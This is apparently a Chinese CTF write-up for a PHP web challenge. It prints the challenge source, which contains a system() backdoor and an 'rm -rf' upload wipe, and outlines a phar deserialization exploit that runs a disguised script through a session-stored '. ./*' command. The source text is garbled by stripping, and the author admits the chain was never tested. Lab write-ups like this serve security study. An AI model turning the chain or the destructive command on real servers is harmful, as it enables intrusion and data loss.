DASCTF X GFCTF 2022十月挑战赛-hade_waibo
创始人
2024-01-17 17:06:45
0

这是一个非预期解,但是得到出题人的赞许,莫名开心,哈哈:

cancan need处存在任意文件读取





 
 
login




alert('Login success!');location.href='file.php'");
}else{die('
'); }
username = $username;$_SESSION['isLogin'] = True;$_SESSION['username'] = $username;}public function __wakeup(){$cklen = strlen($_SESSION["username"]);if ($cklen != 0 and $cklen <= 6) {$this->username = $_SESSION["username"];}}public function __destruct(){if ($this->username == '') {session_destroy();}}
}class File
{#更新黑名单为白名单,更加的安全public $white = array("jpg","png");public function show($filename){echo '

';if(empty($filename)){die();}return '';}public function upload($type){$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);return "Upload success! Path: upload/" . $filename;}public function rmfile(){system('rm -rf /var/www/html/upload/*');}public function check($type){if (!in_array($type,$this->white)){return false;}return true;}}#更新了一个恶意又有趣的Test类 class Test {public $value;public function __destruct(){chdir('./upload');$this->backdoor();}public function __wakeup(){$this->value = "Don't make dream.Wake up plz!";}public function __toString(){$file = substr($_GET['file'],0,3);file_put_contents($file, "Hack by $file !");return 'Unreachable! :)';}public function backdoor(){if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){$this->value = 'nono~';}system($this->value);}}进程已结束,退出代码0





 
 
login




润!
🏃
alert('号登一下谢谢。');location.href='index.php'"); } $form = ' ';$file = new file(); switch ($_GET['m']) {case 'upload':if(empty($_FILES)){die($form);}$type = end(explode(".", $_FILES['file']['name']));if ($file->check($type)) {die($file->upload($type));}else{die('你食不食油饼🤬');}break;case 'show':die($file->show($_GET['filename']));break;case 'rm':$file->rmfile();die("全删干净了捏😋");break;case 'logout':session_destroy();die("");break;default:echo '

Halo! '.$_SESSION['username'].'

';break; } ?>
来点😍图
🥵
销毁证据
🧹
cancan need
👀

这种查文件+文件上传,多半就是考phar,但是这次没做出来主要卡在system的过滤了

本来的思路是上传一个文件1.jpg,内容如下:

#!/bin/bash

ls /

这个文件在/upload目录下面,只要命令是. ./*就可以执行命令了,接下来就是如何实现了:

第一步:

普通用户,上传1.jpg

第二步:

修改名字为. ./*

上传一个phar文件:

username = new Test();
$b->test = $a;
$a->value = &$b->username;
// echo serialize($b);
$phar = new Phar("test.phar"); 
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($b); 
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
rename("test.phar", "ameuu.jpg");

关于这一步是如何把username=. ./*赋值给value的,是因为登陆的时候把数据写到SESSION了,反序列化的时候会取出来。

原理是这样,但是还是没有落实到位,因为本地Ubuntu不知道为什么上传不了文件,只能暂时作罢。

不能给出更详细的步骤,见谅。

第三步:

phar读取文件:触发ls /

第四步:

直接读取/ghjsdk_F149_H3re_asdasfc

 

相关内容

热门资讯

结业典礼讲话稿 结业典礼讲话稿(精选21篇)  在日新月异的现代社会中,我们用到讲话稿的地方越来越多,讲话稿是领导人...
五年级家长会班主任发言稿 五年级家长会班主任发言稿(通用8篇)  家长会一般是由学校或教师发起的,面向学生、学生家长,以及教师...
小学班主任工作经验交流发言稿    [小学班主任工作经验交流会发言稿]  尊敬的各位领导,老师、亲爱的同学们:  大家好!  今天...
小学生中队委竞选稿 小学生中队委竞选稿(精选3篇)  在人们越来越重视自我提升的今天,接触并使用竞选稿的人越来越多,竞选...
通讯稿格式及 通讯稿格式及范文  电子稿:标题 黑体2号加粗,正文 宋体小四,行距1.5  1.通讯稿格式(300...
论文答辩稿是什么   毕业论文答辩以后,答辩委员会要根据毕业论文以及作者的答辩情况,评定论文成绩。在此,小编为大家准备...
退休人员在座谈会上的发言稿 退休人员在座谈会上的发言稿(通用10篇)  在发展不断提速的社会中,我们使用上发言稿的情况与日俱增,...
小学语文第六册《检阅》的说课... 小学语文第六册《检阅》的说课稿  一、说教材:  《检阅》是人教版第六册第四组的一篇课文,报告了波兰...
小学语文一年级《骑牛比赛》说... 小学语文一年级《骑牛比赛》说课稿  一、说教材  (一)分析教材  《骑牛比赛》是苏教版小学语文第一...
期中考试动员会发言稿 期中考试动员会发言稿(精选15篇)  在我们平凡的日常里,发言稿的使用频率越来越高,发言稿可以提高发...
新闻稿写作与 新闻稿写作与例文  新闻稿是公司/机构/政府/学校等单位发送予传媒的通信渠道,用来公布有新闻价值的消...
期末考试国旗下讲话稿 期末考试国旗下讲话稿(精选25篇)  在现在的社会生活中,很多地方都会使用到讲话稿,讲话稿可以按照用...
家长会家长代表的发言稿 家长会家长代表的发言稿(精选13篇)  在当下社会,我们可以使用发言稿的机会越来越多,发言稿特别注重...
过秦论说课稿 过秦论说课稿  一、说教材  (一)教材所处的地位和作用  高中语文必修5本书共有文言文单元5个,1...
优秀教师代表发言稿 有关优秀教师代表发言稿(精选7篇)  在社会发展不断提速的今天,我们使用上发言稿的情况与日俱增,发言...
高考百日誓师大会发言稿 高考百日誓师大会发言稿通用15篇  现如今,越来越多地方需要用到发言稿,发言稿是作为在特定的情境中供...
《输送血液的泵一一心脏》说课... 《输送血液的泵一一心脏》说课稿范文  作为一名教职工,通常需要准备好一份说课稿,说课稿有助于教学取得...
《形神拳》说课稿 《形神拳》说课稿  一、指导思想、理论依据:  本课以新的课程标准为依据,倡导主体性与研究性的学习,...
晚会主持稿 晚会主持稿范文(通用11篇)  在充满活力,日益开放的今天,很多地方都会使用到主持稿,主持稿是以节目...
国旗下讲话稿 国旗下讲话稿(通用20篇)  在我们平凡的日常里,我们很多时候都不得不用到讲话稿,讲话稿一般是开会前...